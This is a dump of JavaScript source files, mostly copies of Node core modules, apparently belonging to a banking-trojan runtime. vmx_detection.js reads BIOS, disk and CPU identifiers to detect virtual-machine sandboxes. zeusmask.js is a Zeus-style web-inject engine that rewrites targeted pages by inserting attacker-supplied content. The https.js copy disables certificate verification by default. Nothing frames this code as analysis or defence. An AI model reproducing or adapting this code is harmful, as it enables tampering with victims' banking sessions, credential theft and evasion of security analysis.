require('events').EventEmitter; 25 | var util = require('util'); 26 | 27 | util.inherits(Stream, EE); 28 | Stream.Readable = require('_stream_readable'); 29 | Stream.Writable = require('_stream_writable'); 30 | Stream.Duplex = require('_stream_duplex'); 31 | Stream.Transform = require('_stream_transform'); 32 | Stream.PassThrough = require('_stream_passthrough'); 33 | 34 | 35 | Stream.Stream = Stream; 36 | 37 | 38 | 39 | 40 | 41 | 42 | function Stream() { 43 | EE.call(this); 44 | } 45 | 46 | Stream.prototype.pipe = function(dest, options) { 47 | var source = this; 48 | 49 | function ondata(chunk) { 50 | if (dest.writable) { 51 | if (false === dest.write(chunk) && source.pause) { 52 | source.pause(); 53 | } 54 | } 55 | } 56 | 57 | source.on('data', ondata); 58 | 59 | function ondrain() { 60 | if (source.readable && source.resume) { 61 | source.resume(); 62 | } 63 | } 64 | 65 | dest.on('drain', ondrain); 66 | 67 | 68 | 69 | if (!dest._isStdio && (!options || options.end !== false)) { 70 | source.on('end', onend); 71 | source.on('close', onclose); 72 | } 73 | 74 | var didOnEnd = false; 75 | function onend() { 76 | if (didOnEnd) return; 77 | didOnEnd = true; 78 | 79 | dest.end(); 80 | } 81 | 82 | 83 | function onclose() { 84 | if (didOnEnd) return; 85 | didOnEnd = true; 86 | 87 | if (util.isFunction(dest.destroy)) dest.destroy(); 88 | } 89 | 90 | 91 | function onerror(er) { 92 | cleanup(); 93 | if (EE.listenerCount(this, 'error') === 0) { 94 | throw er; 95 | } 96 | } 97 | 98 | source.on('error', onerror); 99 | dest.on('error', onerror); 100 | 101 | 102 | function cleanup() { 103 | source.removeListener('data', ondata); 104 | dest.removeListener('drain', ondrain); 105 | 106 | source.removeListener('end', onend); 107 | source.removeListener('close', onclose); 108 | 109 | source.removeListener('error', onerror); 110 | dest.removeListener('error', onerror); 111 | 112 | source.removeListener('end', cleanup); 113 | source.removeListener('close', cleanup); 114 | 115 | dest.removeListener('close', cleanup); 116 | } 117 | 118 | source.on('end', cleanup); 119 | source.on('close', cleanup); 120 | 121 | dest.on('close', cleanup); 122 | 123 | dest.emit('pipe', source); 124 | 125 | 126 | return dest; 127 | }; 128 | -------------------------------------------------------------------------------- /vmx_detection.js: -------------------------------------------------------------------------------- 1 | 2 | var reg = process.binding("registry"); 3 | var vmx_detection = process.binding("vmx_detection"); 4 | 5 | function VmCheckGetDisksArray(path) { 6 | try { 7 | return new reg.WindowsRegistry(HKEY_LOCAL_MACHINE, path, KEY_READ, true).EnumKeys(path); 8 | } catch (e) { 9 | return []; 10 | } 11 | } 12 | 13 | function VmCheckVitrualDisks(array) { 14 | var vendors = [ 15 | "VMware", 16 | "vbox", 17 | "SONI" 18 | ]; 19 | 20 | for (let i = 0; i < array.length; i++) { 21 | for (let j = 0; j < vendors.length; j++) { 22 | if (array[i].toLowerCase().indexOf(vendors[j].toLowerCase()) !== -1) { 23 | return true; 24 | } 25 | } 26 | } 27 | 28 | return false; 29 | } 30 | 31 | function VmIsVirtualCPUPresent() { 32 | var goodIds = [ 33 | "GenuineIntel", 34 | "AuthenticAMD", 35 | "AMDisbetter!" 36 | ]; 37 | 38 | if (vmx_detection.isHypervisorPresent() === true) { 39 | return true; 40 | } 41 | 42 | return (goodIds.indexOf(vmx_detection.cpuId()) === -1) 43 | } 44 | 45 | function IsVirtualMachine() { 46 | 47 | 48 | 49 | var VMBioses = [ 50 | "AMI ", 51 | "BOCHS", 52 | "VBOX", 53 | "QEMU", 54 | "SMCI", 55 | "INTEL - 6040000", 56 | "FTNT-1", 57 | "SONI" 58 | ]; 59 | 60 | var bIsVirtualMachine = false; 61 | var SystemBiosVersion = 62 | new reg.WindowsRegistry(HKEY_LOCAL_MACHINE, "HARDWARE\\DESCRIPTION\\System", KEY_READ, true) 63 | .ReadString("SystemBiosVersion").toString(); 64 | 65 | 66 | 67 | for (let i = 0; i < VMBioses.length; i++) { 68 | if (SystemBiosVersion.toLowerCase().indexOf(VMBioses[i].toLowerCase()) !== -1) { 69 | bIsVirtualMachine = true; 70 | break; 71 | } 72 | } 73 | 74 | var ideDevices = VmCheckGetDisksArray('SYSTEM\\CurrentControlSet\\Enum\\IDE'); 75 | var scsiDevices = VmCheckGetDisksArray('SYSTEM\\CurrentControlSet\\Enum\\SCSI'); 76 | 77 | 78 | 79 | 80 | 81 | if (bIsVirtualMachine === false) { 82 | bIsVirtualMachine = ( 83 | VmCheckVitrualDisks(ideDevices.keys) || 84 | VmCheckVitrualDisks(scsiDevices.keys) 85 | ); 86 | } 87 | 88 | if (bIsVirtualMachine === false) { 89 | bIsVirtualMachine = VmIsVirtualCPUPresent(); 90 | } 91 | 92 | 93 | 94 | 95 | return bIsVirtualMachine; 96 | 97 | 98 | 99 | } 100 | 101 | exports.IsVirtualMachine = IsVirtualMachine; -------------------------------------------------------------------------------- /http.js: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | var util = require('util'); 23 | var EventEmitter = require('events').EventEmitter; 24 | 25 | 26 | exports.IncomingMessage = require('_http_incoming').IncomingMessage; 27 | 28 | 29 | var common = require('_http_common'); 30 | exports.METHODS = util._extend([], common.methods).sort(); 31 | 32 | 33 | exports.OutgoingMessage = require('_http_outgoing').OutgoingMessage; 34 | 35 | 36 | var server = require('_http_server'); 37 | exports.ServerResponse = server.ServerResponse; 38 | exports.STATUS_CODES = server.STATUS_CODES; 39 | 40 | 41 | var agent = require('_http_agent'); 42 | var Agent = exports.Agent = agent.Agent; 43 | exports.globalAgent = agent.globalAgent; 44 | 45 | var client = require('_http_client'); 46 | var ClientRequest = exports.ClientRequest = client.ClientRequest; 47 | 48 | exports.request = function(options, cb) { 49 | return new ClientRequest(options, cb); 50 | }; 51 | 52 | exports.get = function(options, cb) { 53 | var req = exports.request(options, cb); 54 | req.end(); 55 | return req; 56 | }; 57 | 58 | exports._connectionListener = server._connectionListener; 59 | var Server = exports.Server = server.Server; 60 | 61 | exports.createServer = function(requestListener) { 62 | return new Server(requestListener); 63 | }; 64 | 65 | 66 | 67 | 68 | function Client(port, host) { 69 | if (!(this instanceof Client)) return new Client(port, host); 70 | EventEmitter.call(this); 71 | 72 | host = host || 'localhost'; 73 | port = port || 80; 74 | this.host = host; 75 | this.port = port; 76 | this.agent = new Agent({ host: host, port: port, maxSockets: 1 }); 77 | } 78 | util.inherits(Client, EventEmitter); 79 | Client.prototype.request = function(method, path, headers) { 80 | var self = this; 81 | var options = {}; 82 | options.host = self.host; 83 | options.port = self.port; 84 | if (method[0] === '/') { 85 | headers = path; 86 | path = method; 87 | method = 'GET'; 88 | } 89 | options.method = method; 90 | options.path = path; 91 | options.headers = headers; 92 | options.agent = self.agent; 93 | var c = new ClientRequest(options); 94 | c.on('error', function(e) { 95 | self.emit('error', e); 96 | }); 97 | 98 | 99 | 100 | c.on('socket', function(s) { 101 | s.on('end', function() { 102 | if (self._decoder) { 103 | var ret = self._decoder.end(); 104 | if (ret) 105 | self.emit('data', ret); 106 | } 107 | self.emit('end'); 108 | }); 109 | }); 110 | return c; 111 | }; 112 | 113 | exports.Client = util.deprecate(Client, 114 | 'http.Client will be removed soon. Do not use it.'); 115 | 116 | exports.createClient = util.deprecate(function(port, host) { 117 | return new Client(port, host); 118 | }, 'http.createClient is deprecated. Use `http.request` instead.'); 119 | -------------------------------------------------------------------------------- /tty.js: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | var inherits = require('util').inherits; 23 | var net = require('net'); 24 | var TTY = process.binding('tty_wrap').TTY; 25 | var isTTY = process.binding('tty_wrap').isTTY; 26 | var util = require('util'); 27 | 28 | var errnoException = util._errnoException; 29 | 30 | 31 | exports.isatty = function(fd) { 32 | return isTTY(fd); 33 | }; 34 | 35 | 36 | 37 | exports.setRawMode = util.deprecate(function(flag) { 38 | if (!process.stdin.isTTY) { 39 | throw new Error('can\'t set raw mode on non-tty'); 40 | } 41 | process.stdin.setRawMode(flag); 42 | }, 'tty.setRawMode: Use `process.stdin.setRawMode()` instead.'); 43 | 44 | 45 | function ReadStream(fd, options) { 46 | if (!(this instanceof ReadStream)) 47 | return new ReadStream(fd, options); 48 | 49 | options = util._extend({ 50 | highWaterMark: 0, 51 | readable: true, 52 | writable: false, 53 | handle: new TTY(fd, true) 54 | }, options); 55 | 56 | net.Socket.call(this, options); 57 | 58 | this.isRaw = false; 59 | this.isTTY = true; 60 | } 61 | inherits(ReadStream, net.Socket); 62 | 63 | exports.ReadStream = ReadStream; 64 | 65 | ReadStream.prototype.setRawMode = function(flag) { 66 | flag = !!flag; 67 | this._handle.setRawMode(flag); 68 | this.isRaw = flag; 69 | }; 70 | 71 | 72 | 73 | function WriteStream(fd) { 74 | if (!(this instanceof WriteStream)) return new WriteStream(fd); 75 | net.Socket.call(this, { 76 | handle: new TTY(fd, false), 77 | readable: false, 78 | writable: true 79 | }); 80 | 81 | var winSize = []; 82 | var err = this._handle.getWindowSize(winSize); 83 | if (!err) { 84 | this.columns = winSize[0]; 85 | this.rows = winSize[1]; 86 | } 87 | } 88 | inherits(WriteStream, net.Socket); 89 | exports.WriteStream = WriteStream; 90 | 91 | 92 | WriteStream.prototype.isTTY = true; 93 | 94 | 95 | WriteStream.prototype._refreshSize = function() { 96 | var oldCols = this.columns; 97 | var oldRows = this.rows; 98 | var winSize = []; 99 | var err = this._handle.getWindowSize(winSize); 100 | if (err) { 101 | this.emit('error', errnoException(err, 'getWindowSize')); 102 | return; 103 | } 104 | var newCols = winSize[0]; 105 | var newRows = winSize[1]; 106 | if (oldCols !== newCols || oldRows !== newRows) { 107 | this.columns = newCols; 108 | this.rows = newRows; 109 | this.emit('resize'); 110 | } 111 | }; 112 | 113 | 114 | 115 | WriteStream.prototype.cursorTo = function(x, y) { 116 | require('readline').cursorTo(this, x, y); 117 | }; 118 | WriteStream.prototype.moveCursor = function(dx, dy) { 119 | require('readline').moveCursor(this, dx, dy); 120 | }; 121 | WriteStream.prototype.clearLine = function(dir) { 122 | require('readline').clearLine(this, dir); 123 | }; 124 | WriteStream.prototype.clearScreenDown = function() { 125 | require('readline').clearScreenDown(this); 126 | }; 127 | WriteStream.prototype.getWindowSize = function() { 128 | return [this.columns, this.rows]; 129 | }; 130 | -------------------------------------------------------------------------------- /https.js: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | var tls = require('tls'); 23 | var url = require('url'); 24 | var http = require('http'); 25 | var util = require('util'); 26 | var inherits = require('util').inherits; 27 | 28 | 29 | function Server(opts, requestListener) { 30 | if (!(this instanceof Server)) return new Server(opts, requestListener); 31 | 32 | if (process.features.tls_npn && !opts.NPNProtocols) { 33 | opts.NPNProtocols = ['http/1.1', 'http/1.0']; 34 | } 35 | 36 | tls.Server.call(this, opts, http._connectionListener); 37 | 38 | this.httpAllowHalfOpen = false; 39 | 40 | if (requestListener) { 41 | this.addListener('request', requestListener); 42 | } 43 | 44 | this.addListener('clientError', function(err, conn) { 45 | conn.destroy(); 46 | }); 47 | 48 | this.timeout = 2 * 60 * 1000; 49 | } 50 | inherits(Server, tls.Server); 51 | exports.Server = Server; 52 | 53 | Server.prototype.setTimeout = http.Server.prototype.setTimeout; 54 | 55 | exports.createServer = function(opts, requestListener) { 56 | return new Server(opts, requestListener); 57 | }; 58 | 59 | 60 | 61 | 62 | function createConnection(port, host, options) { 63 | if (util.isObject(port)) { 64 | options = port; 65 | } else if (util.isObject(host)) { 66 | options = host; 67 | } else if (util.isObject(options)) { 68 | options = options; 69 | } else { 70 | options = {}; 71 | } 72 | 73 | if (util.isNumber(port)) { 74 | options.port = port; 75 | } 76 | 77 | if (util.isString(host)) { 78 | options.host = host; 79 | } 80 | 81 | if (util.isUndefined(options.rejectUnauthorized)) 82 | options.rejectUnauthorized = false; 83 | 84 | return tls.connect(options); 85 | } 86 | 87 | 88 | function Agent(options) { 89 | http.Agent.call(this, options); 90 | this.defaultPort = 443; 91 | this.protocol = 'https:'; 92 | } 93 | inherits(Agent, http.Agent); 94 | Agent.prototype.createConnection = createConnection; 95 | 96 | Agent.prototype.getName = function(options) { 97 | var name = http.Agent.prototype.getName.call(this, options); 98 | 99 | name += ':'; 100 | if (options.ca) 101 | name += options.ca; 102 | 103 | name += ':'; 104 | if (options.cert) 105 | name += options.cert; 106 | 107 | name += ':'; 108 | if (options.ciphers) 109 | name += options.ciphers; 110 | 111 | name += ':'; 112 | if (options.key) 113 | name += options.key; 114 | 115 | name += ':'; 116 | if (options.pfx) 117 | name += options.pfx; 118 | 119 | name += ':'; 120 | if (!util.isUndefined(options.rejectUnauthorized)) 121 | name += options.rejectUnauthorized; 122 | 123 | return name; 124 | }; 125 | 126 | var globalAgent = new Agent(); 127 | 128 | exports.globalAgent = globalAgent; 129 | exports.Agent = Agent; 130 | 131 | exports.request = function(options, cb) { 132 | if (util.isString(options)) { 133 | options = url.parse(options); 134 | } else { 135 | options = util._extend({}, options); 136 | } 137 | options._defaultAgent = globalAgent; 138 | return http.request(options, cb); 139 | }; 140 | 141 | exports.get = function(options, cb) { 142 | var req = exports.request(options, cb); 143 | req.end(); 144 | return req; 145 | }; 146 | -------------------------------------------------------------------------------- /keep_alive_agent.js: -------------------------------------------------------------------------------- 1 | 2 | 3 | "use strict"; 4 | 5 | 6 | 7 | 8 | var 9 | http = require('http'), 10 | https = require('https'), 11 | util = require('util') 12 | ; 13 | 14 | 15 | 16 | function KeepAliveAgent(options) { 17 | options = options || {}; 18 | http.Agent.call(this, options); 19 | 20 | 21 | this.idleSockets = {}; 22 | 23 | 24 | this.removeAllListeners('free'); 25 | this.on('free', KeepAliveAgent.prototype.freeHandler.bind(this)); 26 | 27 | } 28 | util.inherits(KeepAliveAgent, http.Agent); 29 | 30 | function buildNameKey(host, port, localAddress) { 31 | var name = host + ':' + port; 32 | if (localAddress) 33 | name += ':' + localAddress; 34 | 35 | return name; 36 | } 37 | 38 | KeepAliveAgent.prototype.freeHandler = function (socket, host, port, localAddress) { 39 | var name = buildNameKey(host, port, localAddress); 40 | 41 | 42 | if (this.isSocketUsable(socket)) { 43 | socket._requestCount = socket._requestCount ? socket._requestCount + 1 : 1; 44 | 45 | if (!this.idleSockets[name]) 46 | this.idleSockets[name] = []; 47 | 48 | this.idleSockets[name].push(socket); 49 | } 50 | 51 | 52 | if (this.requests[name] && this.requests[name].length) { 53 | var nextRequest = this.requests[name].shift(); 54 | 55 | if (!this.requests[name].length) 56 | delete this.requests[name]; 57 | 58 | this.addRequest(nextRequest, host, port, localAddress); 59 | } 60 | }; 61 | 62 | KeepAliveAgent.prototype.addRequest = function (request, host, port, localAddress) { 63 | var name = buildNameKey(host, port, localAddress); 64 | 65 | var socket = this.nextIdleSocket(name); 66 | if (socket) 67 | request.onSocket(socket); 68 | else 69 | return http.Agent.prototype.addRequest.call(this, request, host, port, localAddress); 70 | }; 71 | 72 | KeepAliveAgent.prototype.nextIdleSocket = function (name) { 73 | if (!this.idleSockets[name]) 74 | return null; 75 | 76 | var socket; 77 | while (socket = this.idleSockets[name].shift()) { 78 | 79 | 80 | if (this.isSocketUsable(socket)) 81 | return socket; 82 | } 83 | 84 | return null; 85 | }; 86 | 87 | KeepAliveAgent.prototype.isSocketUsable = function (socket) { 88 | return !socket.destroyed; 89 | }; 90 | 91 | 92 | KeepAliveAgent.prototype.removeSocket = function (socket, name, host, port, localAddress) { 93 | if (this.idleSockets[name]) { 94 | var idx = this.idleSockets[name].indexOf(socket); 95 | if (idx !== -1) { 96 | this.idleSockets[name].splice(idx, 1); 97 | if (!this.idleSockets[name].length) 98 | delete this.idleSockets[name]; 99 | } 100 | } 101 | 102 | http.Agent.prototype.removeSocket.call(this, socket, name, host, port, localAddress); 103 | }; 104 | 105 | 106 | 107 | function HTTPSKeepAliveAgent(options) { 108 | KeepAliveAgent.call(this, options); 109 | this.createConnection = https.globalAgent.createConnection; 110 | } 111 | util.inherits(HTTPSKeepAliveAgent, KeepAliveAgent); 112 | 113 | HTTPSKeepAliveAgent.prototype.defaultPort = 443; 114 | 115 | HTTPSKeepAliveAgent.prototype.isSocketUsable = function (socket) { 116 | 117 | 118 | return socket.pair && socket.pair.ssl; 119 | }; 120 | 121 | 122 | 123 | module.exports = KeepAliveAgent; 124 | KeepAliveAgent.Secure = HTTPSKeepAliveAgent; -------------------------------------------------------------------------------- /_stream_transform.js: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | module.exports = Transform; 66 | 67 | var Duplex = require('_stream_duplex'); 68 | var util = require('util'); 69 | util.inherits(Transform, Duplex); 70 | 71 | 72 | function TransformState(stream) { 73 | this.afterTransform = function(er, data) { 74 | return afterTransform(stream, er, data); 75 | }; 76 | 77 | this.needTransform = false; 78 | this.transforming = false; 79 | this.writecb = null; 80 | this.writechunk = null; 81 | } 82 | 83 | function afterTransform(stream, er, data) { 84 | var ts = stream._transformState; 85 | ts.transforming = false; 86 | 87 | var cb = ts.writecb; 88 | 89 | if (!cb) 90 | return stream.emit('error', new Error('no writecb in Transform class')); 91 | 92 | ts.writechunk = null; 93 | ts.writecb = null; 94 | 95 | if (!util.isNullOrUndefined(data)) 96 | stream.push(data); 97 | 98 | if (cb) 99 | cb(er); 100 | 101 | var rs = stream._readableState; 102 | rs.reading = false; 103 | if (rs.needReadable || rs.length < rs.highWaterMark) { 104 | stream._read(rs.highWaterMark); 105 | } 106 | } 107 | 108 | 109 | function Transform(options) { 110 | if (!(this instanceof Transform)) 111 | return new Transform(options); 112 | 113 | Duplex.call(this, options); 114 | 115 | this._transformState = new TransformState(this); 116 | 117 | 118 | var stream = this; 119 | 120 | 121 | this._readableState.needReadable = true; 122 | 123 | 124 | 125 | 126 | this._readableState.sync = false; 127 | 128 | this.once('prefinish', function() { 129 | if (util.isFunction(this._flush)) 130 | this._flush(function(er) { 131 | done(stream, er); 132 | }); 133 | else 134 | done(stream); 135 | }); 136 | } 137 | 138 | Transform.prototype.push = function(chunk, encoding) { 139 | this._transformState.needTransform = false; 140 | return Duplex.prototype.push.call(this, chunk, encoding); 141 | }; 142 | 143 | 144 | 145 | 146 | 147 | 148 | 149 | 150 | 151 | 152 | 153 | Transform.prototype._transform = function(chunk, encoding, cb) { 154 | throw new Error('not implemented'); 155 | }; 156 | 157 | Transform.prototype._write = function(chunk, encoding, cb) { 158 | var ts = this._transformState; 159 | ts.writecb = cb; 160 | ts.writechunk = chunk; 161 | ts.writeencoding = encoding; 162 | if (!ts.transforming) { 163 | var rs = this._readableState; 164 | if (ts.needTransform || 165 | rs.needReadable || 166 | rs.length < rs.highWaterMark) 167 | this._read(rs.highWaterMark); 168 | } 169 | }; 170 | 171 | 172 | 173 | 174 | Transform.prototype._read = function(n) { 175 | var ts = this._transformState; 176 | 177 | if (!util.isNull(ts.writechunk) && ts.writecb && !ts.transforming) { 178 | ts.transforming = true; 179 | this._transform(ts.writechunk, ts.writeencoding, ts.afterTransform); 180 | } else { 181 | 182 | 183 | ts.needTransform = true; 184 | } 185 | }; 186 | 187 | 188 | function done(stream, er) { 189 | if (er) 190 | return stream.emit('error', er); 191 | 192 | 193 | 194 | var ws = stream._writableState; 195 | var ts = stream._transformState; 196 | 197 | if (ws.length) 198 | throw new Error('calling transform done when ws.length != 0'); 199 | 200 | if (ts.transforming) 201 | throw new Error('calling transform done when still transforming'); 202 | 203 | return stream.push(null); 204 | } 205 | -------------------------------------------------------------------------------- /_http_incoming.js: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | var util = require('util'); 23 | var Stream = require('stream'); 24 | 25 | function readStart(socket) { 26 | if (socket && !socket._paused && socket.readable) 27 | socket.resume(); 28 | } 29 | exports.readStart = readStart; 30 | 31 | function readStop(socket) { 32 | if (socket) 33 | socket.pause(); 34 | } 35 | exports.readStop = readStop; 36 | 37 | 38 | 39 | function IncomingMessage(socket) { 40 | Stream.Readable.call(this); 41 | 42 | 43 | 44 | 45 | 46 | this.socket = socket; 47 | this.connection = socket; 48 | 49 | this.httpVersionMajor = null; 50 | this.httpVersionMinor = null; 51 | this.httpVersion = null; 52 | this.complete = false; 53 | this.headers = {}; 54 | this.rawHeaders = []; 55 | this.trailers = {}; 56 | this.rawTrailers = []; 57 | 58 | this.readable = true; 59 | 60 | this._pendings = []; 61 | this._pendingIndex = 0; 62 | this.upgrade = null; 63 | 64 | 65 | this.url = ''; 66 | this.method = null; 67 | 68 | 69 | this.statusCode = null; 70 | this.statusMessage = null; 71 | this.client = this.socket; 72 | 73 | 74 | this._consuming = false; 75 | 76 | 77 | 78 | this._dumped = false; 79 | } 80 | util.inherits(IncomingMessage, Stream.Readable); 81 | 82 | 83 | exports.IncomingMessage = IncomingMessage; 84 | 85 | 86 | IncomingMessage.prototype.setTimeout = function(msecs, callback) { 87 | if (callback) 88 | this.on('timeout', callback); 89 | this.socket.setTimeout(msecs); 90 | }; 91 | 92 | 93 | IncomingMessage.prototype.read = function(n) { 94 | this._consuming = true; 95 | this.read = Stream.Readable.prototype.read; 96 | return this.read(n); 97 | }; 98 | 99 | 100 | IncomingMessage.prototype._read = function(n) { 101 | 102 | 103 | 104 | if (this.socket.readable) 105 | readStart(this.socket); 106 | }; 107 | 108 | 109 | 110 | 111 | 112 | IncomingMessage.prototype.destroy = function(error) { 113 | if (this.socket) 114 | this.socket.destroy(error); 115 | }; 116 | 117 | 118 | IncomingMessage.prototype._addHeaderLines = function(headers, n) { 119 | if (headers && headers.length) { 120 | var raw, dest; 121 | if (this.complete) { 122 | raw = this.rawTrailers; 123 | dest = this.trailers; 124 | } else { 125 | raw = this.rawHeaders; 126 | dest = this.headers; 127 | } 128 | raw.push.apply(raw, headers); 129 | 130 | for (var i = 0; i < n; i += 2) { 131 | var k = headers[i]; 132 | var v = headers[i + 1]; 133 | this._addHeaderLine(k, v, dest); 134 | } 135 | } 136 | }; 137 | 138 | 139 | 140 | 141 | 142 | 143 | 144 | 145 | 146 | IncomingMessage.prototype._addHeaderLine = function(field, value, dest) { 147 | field = field.toLowerCase(); 148 | switch (field) { 149 | 150 | case 'set-cookie': 151 | if (!util.isUndefined(dest[field])) { 152 | dest[field].push(value); 153 | } else { 154 | dest[field] = [value]; 155 | } 156 | break; 157 | 158 | 159 | 160 | case 'content-type': 161 | case 'content-length': 162 | case 'user-agent': 163 | case 'referer': 164 | case 'host': 165 | case 'authorization': 166 | case 'proxy-authorization': 167 | case 'if-modified-since': 168 | case 'if-unmodified-since': 169 | case 'from': 170 | case 'location': 171 | case 'max-forwards': 172 | 173 | if (util.isUndefined(dest[field])) 174 | dest[field] = value; 175 | break; 176 | 177 | default: 178 | 179 | if (!util.isUndefined(dest[field])) 180 | dest[field] += ', ' + value; 181 | else { 182 | dest[field] = value; 183 | } 184 | } 185 | }; 186 | 187 | 188 | 189 | 190 | IncomingMessage.prototype._dump = function() { 191 | if (!this._dumped) { 192 | this._dumped = true; 193 | this.resume(); 194 | } 195 | }; 196 | -------------------------------------------------------------------------------- /zeusmask.js: -------------------------------------------------------------------------------- 1 | function zeusSearchContentIndex(data, mask, startOffset) { 2 | var searchParts = mask.split('*'); 3 | var firstIndex = data.indexOf(searchParts[0], startOffset); 4 | var lstIndex = firstIndex + searchParts[0].length; 5 | var result; 6 | 7 | for (var i = 1; i < searchParts.length; i++) { 8 | lstIndex = data.indexOf(searchParts[i], lstIndex); 9 | if (lstIndex === -1) { 10 | break; 11 | } 12 | 13 | lstIndex += searchParts[i].length; 14 | } 15 | 16 | if (lstIndex !== -1 && searchParts[searchParts.length - 1] === '') { 17 | lstIndex = data.length; 18 | } 19 | 20 | if (lstIndex !== -1 && firstIndex !== -1 && firstIndex < lstIndex) { 21 | result = data.substr(firstIndex, lstIndex - firstIndex); 22 | } 23 | 24 | return result; 25 | } 26 | function zeusExecuteInjection(data, injectionBlock) { 27 | 28 | var startTag; 29 | var startTagIndex; 30 | var endTag; 31 | var endTagIndex; 32 | 33 | if ((injectionBlock.data_before.length > 0) && (injectionBlock.data_after.length > 0)) { 34 | 35 | startTag = zeusSearchContentIndex(data, injectionBlock.data_before); 36 | endTag = zeusSearchContentIndex(data, injectionBlock.data_after); 37 | 38 | if (startTag && endTag) { 39 | 40 | startTagIndex = (data.indexOf(startTag) + startTag.length); 41 | endTagIndex = data.indexOf(endTag, startTagIndex); 42 | 43 | if (startTagIndex < endTagIndex) { 44 | return data 45 | .cut(startTagIndex, endTagIndex) 46 | .insertAt(startTagIndex, injectionBlock.data_inject); 47 | 48 | } else { 49 | 50 | } 51 | } else { 52 | 53 | } 54 | 55 | } else if (injectionBlock.data_before.length > 0) { 56 | startTag = zeusSearchContentIndex(data, injectionBlock.data_before); 57 | if (startTag) { 58 | startTagIndex = (data.indexOf(startTag) + startTag.length); 59 | return data.insertAt(startTagIndex, injectionBlock.data_inject); 60 | } else { 61 | return data; 62 | } 63 | } else if (injectionBlock.data_after.length > 0) { 64 | endTag = zeusSearchContentIndex(data, injectionBlock.data_after); 65 | if (endTag) { 66 | endTagIndex = data.indexOf(endTag); 67 | return data.insertAt(endTagIndex, injectionBlock.data_inject); 68 | } else { 69 | return data; 70 | } 71 | 72 | } else { 73 | return injectionBlock.data_inject; 74 | } 75 | } 76 | 77 | function zeusIsModificationNeeded(url, mask) { 78 | if (typeof zeusSearchContentIndex(url, mask) !== 'undefined') { 79 | return true; 80 | } 81 | return false; 82 | } 83 | 84 | 85 | function zeusIsMaskMatched(text, mask) { 86 | if (typeof zeusSearchContentIndex(text, mask) !== 'undefined') { 87 | return true; 88 | } 89 | return false; 90 | } 91 | 92 | 93 | function isRegexMatched(str, restr) { 94 | try { 95 | var re = new RegExp(restr, "ig"); 96 | if (str.match(re)) { 97 | return true; 98 | } 99 | } catch (exception) { } 100 | 101 | return false; 102 | } 103 | 104 | function isUrlNeedMatchedInRule(murl, inject) { 105 | 106 | if (inject.base.guids) { 107 | if (inject.base.guids.find(function (element) { 108 | return (inject.base.guids.indexOf(process.machineGuid.toLowerCase()) !== -1); 109 | })) { 110 | return false; 111 | } 112 | } 113 | 114 | if (!inject.base.url.find(function (element) { 115 | return zeusIsModificationNeeded(murl, element); 116 | })) { 117 | return false; 118 | } 119 | 120 | if (inject.stoplist) { 121 | if (inject.stoplist.find(function (element) { 122 | return isRegexMatched(murl, element); 123 | })) { 124 | return false; 125 | } 126 | } 127 | return true; 128 | } 129 | 130 | exports.isUrlNeedMatchedInRule = isUrlNeedMatchedInRule; 131 | exports.zeusIsMaskMatched = zeusIsMaskMatched; 132 | exports.zeusIsModificationNeeded = zeusIsModificationNeeded; 133 | exports.zeusExecuteInjection = zeusExecuteInjection; 134 | exports.zeusSearchContentIndex = zeusSearchContentIndex; 135 | -------------------------------------------------------------------------------- /starttls.js: -------------------------------------------------------------------------------- 1 | 2 | 3 | 'use strict'; 4 | 5 | 6 | 7 | 8 | var net = require('net'); 9 | var tls = require('tls'); 10 | var crypto = require('crypto'); 11 | 12 | module.exports = exports = function (options, onSecure) { 13 | var socket, credentials, securePair; 14 | 15 | if (options instanceof net.Socket) { 16 | socket = options; 17 | options = { 18 | socket: socket 19 | }; 20 | } else if (options.socket) { 21 | socket = options.socket; 22 | } else { 23 | socket = options.socket = net.createConnection(options); 24 | } 25 | 26 | if (options.pair) { 27 | securePair = options.pair; 28 | } else { 29 | 30 | 31 | if (tls.createSecureContext) { 32 | credentials = tls.createSecureContext(); 33 | } else { 34 | credentials = crypto.createCredentials(); 35 | } 36 | 37 | securePair = tls.createSecurePair(credentials, false); 38 | options.pair = securePair; 39 | } 40 | 41 | 42 | if (socket.readable || undefined === socket.readable) { 43 | return startTls(options, onSecure); 44 | } 45 | 46 | 47 | socket.once('connect', function () { 48 | startTls(options, onSecure); 49 | }); 50 | 51 | return securePair; 52 | }; 53 | 54 | function startTls(options, onSecure) { 55 | var socket, host, securePair, clearText; 56 | 57 | socket = options.socket; 58 | host = options.host; 59 | securePair = options.pair; 60 | 61 | socket.ondata = null; 62 | socket.removeAllListeners('data'); 63 | 64 | clearText = pipe(securePair, socket); 65 | 66 | securePair.once('secure', function () { 67 | var err; 68 | 69 | 70 | err = securePair.ssl.verifyError(); 71 | if (err) { 72 | clearText.authorized = false; 73 | clearText.authorizationError = err; 74 | } else { 75 | clearText.authorized = true; 76 | } 77 | 78 | 79 | if (!onSecure) { 80 | return; 81 | } 82 | 83 | if (host) { 84 | err = tls.checkServerIdentity(host, clearText.getPeerCertificate()); 85 | 86 | 87 | 88 | if (false === err) { 89 | err = new Error('Server identity mismatch: invalid certificate for ' + host + '.'); 90 | } else if (true === err) { 91 | err = null; 92 | } 93 | } 94 | 95 | onSecure.call(securePair, err); 96 | }); 97 | 98 | clearText._controlReleased = true; 99 | 100 | return securePair; 101 | } 102 | 103 | function forwardEvents(events, emitterSource, emitterDestination) { 104 | var i, l, event, handler, forwardEvent; 105 | 106 | 